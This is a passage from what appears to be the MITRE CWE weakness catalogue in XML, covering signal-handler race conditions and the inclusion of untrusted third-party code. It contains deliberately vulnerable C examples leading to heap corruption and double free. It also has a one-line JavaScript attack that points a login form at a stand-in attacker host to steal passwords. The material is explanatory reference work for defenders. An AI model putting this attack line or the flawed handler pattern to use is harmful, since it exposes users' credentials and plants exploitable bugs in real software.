						middle of the normal execution's modifications of those variables, the
						variables may be in an incorrect or corrupt state during signal handler
						execution, and possibly still incorrect or corrupt upon return.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>364</Relationship_Target_ID>
					          <!--Signal Handler Race Condition-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> The most common consequence will be a corruption of the state of the
							software, possibly leading to a crash or exit. However, if the signal
							handler is operating on state variables for security relevant libraries
							or protection mechanisms, the consequences can be far more severe,
							including protection mechanism bypass, privilege escalation, or
							information exposure.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text> Eliminate the usage of non-reentrant functionality inside of signal
							handlers. This includes replacing all non-reentrant library calls with
							reentrant calls. </Text>
						            <Text>Note: This will not always be possible and may require large portions
							of the software to be rewritten or even redesigned. Sometimes
							reentrant-safe library alternatives will not be available. Sometimes
							non-reentrant interaction between the state of the system and the signal
							handler will be required by design.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>High</Mitigation_Effectiveness>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Where non-reentrant functionality must be leveraged within a signal
							handler, be sure to block or mask signals appropriately. This includes
							blocking other signals within the signal handler itself that may also
							leverage the functionality. It also includes blocking all signals
							reliant upon the functionality when it is being accessed or modified by
							the normal behaviors of the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-26">
					          <Intro_Text>This code registers the same signal handler function with two
						different signals (CWE-831). If those signals are sent to the process, the
						handler creates a log message (specified in the first argument to the
						program) and exits.</Intro_Text>
					          <Example_Body>
						            <Code_Example_Language>C</Code_Example_Language>
						            <Block Block_Nature="Bad_Code">
							              <Code>char *logMessage;</Code>
							              <Code/>
							              <Code>void handler (int sigNum) {</Code>
							              <Block>
								                <Code>syslog(LOG_NOTICE, "%s\n", logMessage);</Code>
								                <Code>free(logMessage);</Code>
								                <Comment>/* artificially increase the size of the timing window to
									make demonstration of this weakness easier. */</Comment>
								                <Code>sleep(10);</Code>
								                <Code>exit(0);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int main (int argc, char* argv[]) {</Code>
							              <Block>
								                <Code>logMessage = strdup(argv[1]);</Code>
								                <Comment>/* Register signal handlers. */</Comment>
								                <Code>signal(SIGHUP, handler);</Code>
								                <Code>signal(SIGTERM, handler);</Code>
								                <Comment>/* artificially increase the size of the timing window to
									make demonstration of this weakness easier. */</Comment>
								                <Code>sleep(10);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The handler function uses global state (globalVar and logMessage), and
							it can be called by both the SIGHUP and SIGTERM signals. An attack
							scenario might follow these lines:</Text>
						            <Block Block_Nature="List">
							              <Text>The program begins execution, initializes logMessage, and
								registers the signal handlers for SIGHUP and SIGTERM. </Text>
							              <Text>The program begins its "normal" functionality, which is simplified
								as sleep(), but could be any functionality that consumes some
								time.</Text>
							              <Text>The attacker sends SIGHUP, which invokes handler (call this
								"SIGHUP-handler").</Text>
							              <Text>SIGHUP-handler begins to execute, calling syslog().</Text>
							              <Text>syslog() calls malloc(), which is non-reentrant. malloc() begins
								to modify metadata to manage the heap.</Text>
							              <Text>The attacker then sends SIGTERM.</Text>
							              <Text>SIGHUP-handler is interrupted, but syslog's malloc call is still
								executing and has not finished modifying its metadata.</Text>
							              <Text>The SIGTERM handler is invoked.</Text>
							              <Text>SIGTERM-handler records the log message using syslog(), then frees
								the logMessage variable.</Text>
						            </Block>
						            <Text>At this point, the state of the heap is uncertain, because malloc is
							still modifying the metadata for the heap; the metadata might be in an
							inconsistent state. The SIGTERM-handler call to free() is assuming that
							the metadata is inconsistent, possibly causing it to write data to the
							wrong location while managing the heap. The result is memory corruption,
							which could lead to a crash or even code execution, depending on the
							circumstances under which the code is running.</Text>
						            <Text>Note that this is an adaptation of a classic example as originally
							presented by Michal Zalewski (see references); the original example was
							shown to be exploitable for code execution.</Text>
						            <Text>Also note that the strdup(argv[1]) call contains a potential buffer
							over-read (CWE-126) if the program is called without any arguments,
							because argc would be 0, and argv[1] would point outside the bounds of
							the array.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-48">
					          <Intro_Text>The following code registers a signal handler with multiple signals
						in order to log when a specific event occurs and to free associated memory
						before exiting.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#include &lt;signal.h&gt;</Code>
							              <Code>#include &lt;syslog.h&gt;</Code>
							              <Code>#include &lt;string.h&gt;</Code>
							              <Code>#include &lt;stdlib.h&gt;</Code>
							              <Code/>
							              <Code>void *global1, *global2;</Code>
							              <Code>char *what;</Code>
							              <Code>void sh (int dummy) {</Code>
							              <Block>
								                <Code>syslog(LOG_NOTICE,"%s\n",what);</Code>
								                <Code>free(global2);</Code>
								                <Code>free(global1);</Code>
								                <Comment>/* Sleep statements added to expand timing window for race
									condition */</Comment>
								                <Code>sleep(10);</Code>
								                <Code>exit(0);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>int main (int argc,char* argv[]) {</Code>
							              <Block>
								                <Code>what=argv[1];</Code>
								                <Code>global1=strdup(argv[2]);</Code>
								                <Code>global2=malloc(340);</Code>
								                <Code>signal(SIGHUP,sh);</Code>
								                <Code>signal(SIGTERM,sh);</Code>
								                <Comment>/* Sleep statements added to expand timing window for race
									condition */</Comment>
								                <Code>sleep(10);</Code>
								                <Code>exit(0);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the following sequence of events may result in a double-free
							(CWE-415):</Text>
						            <Block Block_Nature="Numeric_List">
							              <Text>a SIGHUP is delivered to the process</Text>
							              <Text>sh() is invoked to process the SIGHUP</Text>
							              <Text>This first invocation of sh() reaches the point where global1 is
								freed</Text>
							              <Text>At this point, a SIGTERM is sent to the process</Text>
							              <Text>the second invocation of sh() might do another free of
								global1</Text>
							              <Text>this results in a double-free (CWE-415)</Text>
						            </Block>
						            <Text>This is just one possible exploitation of the above code. As another
							example, the syslog call may use malloc calls which are not async-signal
							safe. This could cause corruption of the heap management structures. For
							more details, consult the example within "Delivering Signals for Fun and
							Profit" (see references).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4109</Observed_Example_Reference>
					          <Observed_Example_Description>Signal handler uses functions that ultimately call
						the unsafe syslog/malloc/s*printf, leading to denial of service via multiple
						login attempts</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-5051</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Signal handler contains too much
						functionality (CWE-828), introducing a race condition that leads to a double
						free (CWE-415).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1349</Observed_Example_Reference>
					          <Observed_Example_Description>unsafe calls to library functions from signal
						handler</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0794</Observed_Example_Reference>
					          <Observed_Example_Description>SIGURG can be used to remotely interrupt signal
						handler; other variants exist.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2259</Observed_Example_Reference>
					          <Observed_Example_Description>handler for SIGCHLD uses non-reentrant
						functions</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1563</Observed_Example_Reference>
					          <Observed_Example_Description>SIGCHLD not blocked in a daemon loop while counter
						is modified, causing counter to get out of
						sync.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Michal Zalewski</Reference_Author>
					          <Reference_Title>Delivering Signals for Fun and Profit</Reference_Title>
					          <Reference_Link>http://lcamtuf.coredump.cx/signals.txt</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Title>Race Condition: Signal Handling</Reference_Title>
					          <Reference_Link>http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not access or modify shared objects in signal
						handlers</Mapped_Node_Name>
					          <Mapped_Node_ID>SIG31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-11-08</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="829" Name="Inclusion of Functionality from Untrusted Control Sphere" Weakness_Abstraction="Class" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software imports, requires, or includes executable
					functionality (such as a library) from a source that is outside of the intended
					control sphere. </Description_Summary>
				        <Extended_Description>
					          <Text>When including third-party functionality, such as a web widget, library,
						or other source of functionality, the software must effectively trust that
						functionality. Without sufficient protection mechanisms, the functionality
						could be malicious in nature (either by coming from an untrusted source,
						being spoofed, or being modified in transit from a trusted source). The
						functionality might also contain its own weaknesses, or grant access to
						additional functionality and state information that should be kept private
						to the base system, such as system state information, sensitive application
						data, or the DOM of a web application.</Text>
					          <Text>This might lead to many different consequences depending on the included
						functionality, but some examples include injection of malware, information
						exposure by granting excessive privileges or permissions to the untrusted
						functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or
						open redirect to malware (CWE-601). </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>864</Relationship_Target_ID>
					          <!--2011 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>669</Relationship_Target_ID>
					          <!--Incorrect Resource Transfer Between Spheres-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>813</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A4 - Insecure Direct Object References-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could insert malicious functionality into the program by
							causing the program to download code that the attacker has placed into
							the untrusted control sphere, such as a malicious web site.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-21.1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Enforcement by Conversion</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When the set of acceptable objects, such as filenames or URLs, is
							limited or known, create a mapping from a set of fixed input values
							(such as numeric IDs) to the actual filenames or URLs, and reject all
							other inputs.</Text>
						            <Text>For example, ID 1 could map to "inbox.txt" and ID 2 could map to
							"profile.txt". Features such as the ESAPI AccessReferenceMap [R.829.1]
							provide this capability.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-22">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Sandbox or Jail</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run the code in a "jail" or similar sandbox environment that enforces
							strict boundaries between the process and the operating system. This may
							effectively restrict which files can be accessed in a particular
							directory or which commands can be executed by the software.</Text>
						            <Text>OS-level examples include the Unix chroot jail, AppArmor, and SELinux.
							In general, managed code may provide some protection. For example,
							java.io.FilePermission in the Java SecurityManager allows the software
							to specify restrictions on file operations.</Text>
						            <Text>This may not be a feasible solution, and it only limits the impact to
							the operating system; the rest of the application may still be subject
							to compromise.</Text>
						            <Text>Be careful to avoid CWE-243 and other weaknesses related to jails.
						</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Limited</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>The effectiveness of this mitigation depends on the prevention
							capabilities of the specific sandbox or jail being used and might only
							help to reduce the scope of an attack, such as restricting the attacker
							to certain system calls or limiting the portion of the file system that
							can be accessed. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.829.2]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-34">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Store library, include, and utility files outside of the web document
							root, if possible. Otherwise, store them in a separate directory and use
							the web server's access control capabilities to prevent attackers from
							directly requesting them. One common practice is to define a fixed
							constant in each calling program, then check for the existence of the
							constant in the library/include file; if the constant does not exist,
							then the file was directly requested, and it can exit
							immediately.</Text>
						            <Text>This significantly reduces the chance of an attacker being able to
							bypass any protection mechanisms that are in the base program but not in
							the include files. It will also reduce the attack surface.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-6">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Understand all the potential areas where untrusted inputs can enter
							your software: parameters or arguments, cookies, anything read from the
							network, environment variables, reverse DNS lookups, query results,
							request headers, URL components, e-mail, files, filenames, databases,
							and any external systems that provide data to the application. Remember
							that such inputs may be obtained indirectly through API calls.</Text>
						            <Text>Many file inclusion problems occur because the programmer assumed that
							certain inputs could not be modified, especially for cookies and URL
							components.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-29">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Firewall</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use an application firewall that can detect attacks against this
							weakness. It can be beneficial in cases in which the code cannot be
							fixed (because it is controlled by a third party), as an emergency
							prevention measure while more comprehensive software assurance measures
							are applied, or to provide defense in depth.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>An application firewall might not cover all possible input vectors. In
							addition, attack techniques might be available to bypass the protection
							mechanism, such as using malformed inputs that can still be processed by
							the component that receives those inputs. Depending on functionality, an
							application firewall might inadvertently reject or modify legitimate
							requests. Finally, some manual effort may be required for
							customization.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-94">
					          <Intro_Text>This login webpage includes a weather widget from an external
						website:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;div class="header"&gt; Welcome!</Code>
							              <Block>
								                <Code>&lt;div id="loginBox"&gt;Please Login:</Code>
								                <Block>
									                  <Code>&lt;form id ="loginForm" name="loginForm"
										action="login.php" method="post"&gt;</Code>
									                  <Code>Username: &lt;input type="text" name="username"
										/&gt;</Code>
									                  <Code>&lt;br/&gt;</Code>
									                  <Code>Password: &lt;input type="password" name="password"
										/&gt;</Code>
									                  <Code>&lt;input type="submit" value="Login" /&gt;</Code>
									                  <Code>&lt;/form&gt;</Code>
								                </Block>
								                <Code>&lt;/div&gt;</Code>
								                <Code>&lt;div id="WeatherWidget"&gt;</Code>
								                <Block>
									                  <Code>&lt;script type="text/javascript"
										src="externalDomain.example.com/weatherwidget.js"&gt;&lt;/script&gt;</Code>
								                </Block>
								                <Code>&lt;/div&gt;</Code>
							              </Block>
							              <Code>&lt;/div&gt;</Code>
						            </Block>
						            <Text>This webpage is now only as secure as the external domain it is
							including functionality from. If an attacker compromised the external
							domain and could add malicious scripts to the weatherwidget.js file, the
							attacker would have complete control, as seen in any XSS weakness
							(CWE-79).</Text>
						            <Text>For example, user login information could easily be stolen with a
							single line added to weatherwidget.js: </Text>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>Javascript</Code_Example_Language>
							              <Comment>...Weather widget code....</Comment>
							              <Code>document.getElementById('loginForm').action =
								"ATTACK.example.com/stealPassword.php";</Code>
						            </Block>
						            <Text>This line of javascript changes the login form's original action
							target from the original website to an attack site. As a result, if a
							user attempts to login their username and password will be sent directly
							to the attack site.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2076</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not properly reject DTDs in SOAP
						messages, which allows remote attackers to read arbitrary files, send HTTP
						requests to intranet servers, or cause a denial of service.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0285</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0030</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0068</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2157</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2162</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2198</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0128</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable variable in
						configuration script leads to file inclusion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1864</Observed_Example_Reference>
					          <Observed_Example_Description>PHP file inclusion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1869</Observed_Example_Reference>
					          <Observed_Example_Description>PHP file inclusion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1870</Observed_Example_Reference>
					          <Observed_Example_Description>PHP file inclusion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2154</Observed_Example_Reference>
					          <Observed_Example_Description>PHP local file
						inclusion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1704</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file
						include.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1707</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file
						include.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1964</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file
						include.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1681</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file
						include.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2086</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file
						include.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0127</Observed_Example_Reference>
					          <Observed_Example_Description>Directory traversal vulnerability in PHP include
						statement.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1971</Observed_Example_Reference>
					          <Observed_Example_Description>Directory traversal vulnerability in PHP include
						statement.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3335</Observed_Example_Reference>
					          <Observed_Example_Description>PHP file inclusion issue, both remote and local;
						local include uses ".." and "%00" characters as a manipulation, but many
						remote file inclusion issues probably have this
						vector.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.829.1">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.829.2">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
			      </References>
			
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-11-29</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Observed_Examples, Potential_Mitigations, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References,
						Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="83" Name="Improper Neutralization of Script in Attributes in a Web Page" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not neutralize or incorrectly neutralizes
					"javascript:" or other URIs from dangerous attributes within tags, such as
					onmouseover, onload, onerror, or style.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
